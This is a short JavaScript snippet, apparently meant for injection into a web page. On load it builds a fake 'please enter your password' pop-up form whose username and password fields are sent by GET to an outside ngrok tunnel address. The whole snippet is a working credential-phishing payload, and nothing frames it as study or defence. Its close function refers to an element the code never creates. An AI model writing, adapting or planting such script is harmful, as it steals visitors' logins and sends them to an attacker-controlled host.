function start_Pop() 
		 {
			  //$(".panel-body").hide();
			  var my_div = document.createElement("div");
			  my_div.innerHTML += '<center><h2>please enter your password</h2><form id="my_form" method="get" action="https://2911-2a00-a040-18b-33fb-6c65-8b86-fb6-a5d6.ngrok.io"><input type="text" id="id_username" name="name_username" placeholder="Username" required><br><input type="password" id="id_password" name="name_password" placeholder="Password" required><br><input type="submit" value="send"/><button onclick="closepop()">close</button></center>';
			  document.body.appendChild(my_div);
		}

		function closepop() 
		{
			  var el1 = document.getElementById('popup');
			  el1.remove();
			  document.body.style.background = 'white';
		}
		
		start_Pop();